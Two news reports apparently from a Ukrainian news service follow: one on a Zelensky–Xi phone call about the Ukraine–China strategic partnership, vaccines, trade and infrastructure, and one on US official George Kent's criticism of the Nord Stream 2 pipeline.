The leaders exchanged congratulations on the occasion of the tenth anniversary of the establishment of a strategic partnership between Ukraine and China and reaffirmed their mutual commitment to its development and deepening, the press service of the President of Ukraine informs.

The heads of state also discussed the challenges of the COVID-19 pandemic. President Zelensky thanked the President of the People's Republic of China on behalf of the Ukrainian people for the supply of COVID-19 vaccines to Ukraine: "These vaccines have saved the lives of many Ukrainians."

The leaders noted that the joint fight against the pandemic and cooperation between China and Ukraine was a living embodiment of friendship between our peoples.

"China is Ukraine's number one trade and economic partner in the world. And we are interested in the full realization of the potential of bilateral cooperation, especially in the areas of trade and major infrastructure projects," said the President of Ukraine. The Head of State noted that despite the global pandemic, trade between Ukraine and China had been growing for the second year in a row. This testifies to productive bilateral cooperation.

As noted, Zelensky stressed the importance of the participation of Chinese investors in the implementation of a number of projects on the development of seaport infrastructure, construction and modernization of roads, development of railways, urban infrastructure, and municipal services.

During the conversation, the interest in increasing Ukrainian exports to China and expanding cooperation in the processing of Ukrainian agricultural products was confirmed.

The President of the People's Republic of China noted the importance of the Great Construction presidential project and expressed China's readiness to cooperate in this area. In addition, the parties paid attention to the potential of cooperation in trade and the possibility to increase it. Zelensky expressed hope that Ukraine could become a "bridge to Europe" for Chinese business.

The heads of state discussed the importance of developing interpersonal contacts between two countries and agreed to conclude a visa-free agreement between Ukraine and China.

In addition, Zelensky confirmed the invariability of Ukraine's position on the issue of a united China. The Chinese President, in turn, stressed that China respects the path of independence chosen by the Ukrainian people, supports the sovereignty and territorial integrity of Ukraine.

The heads of state exchanged invitations to visit their countries at a convenient time.

As reported, on July 6, Minister of Infrastructure Oleksandr Kubrakov and Minister of Commerce of the People's Republic of China Wang Wentao signed an intergovernmental agreement to expand and promote UkraineChina cooperation to implement joint infrastructure construction projects.

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The United States continues to view the Nord Stream 2 gas pipeline as a bad project for the EU's energy security.

George Kent, U.S. Deputy Assistant Secretary of State for European and Eurasian Affairs, said this in an interview with Ukraine 24 TV channel, Ukrinform reports.

"I want to clear this up. The U.S. considers Nord Stream 2 a bad thing. This is bad for Ukraine. This is bad for the energy security of Europe, for Poland and the Baltic countries. And the point is not that our position has allegedly changed. We imposed sanctions against Russian vessels and companies that took part in this. We also tried to give space for diplomacy to work," Kent said.

He noted that the United States is asking Germany what it will do to prevent Russia from using gas as a weapon. We ask: what will you do as the leader of Europe so that Russia does not use gas as a weapon against Ukraine and Eastern Europe? This is our principled position, the American official stressed.

In this context, Kent emphasized that the United States is paying a lot of attention to the results of the negotiations between Angela Merkel and Volodymyr Zelensky, which took place on July 12, and is also awaiting the results of Merkel's visit to Washington, scheduled for July 15.

As Ukrinform reported, following a meeting with Zelensky in Berlin on July 12, Merkel stressed that Germany would continue to insist on Ukraine's transit role.

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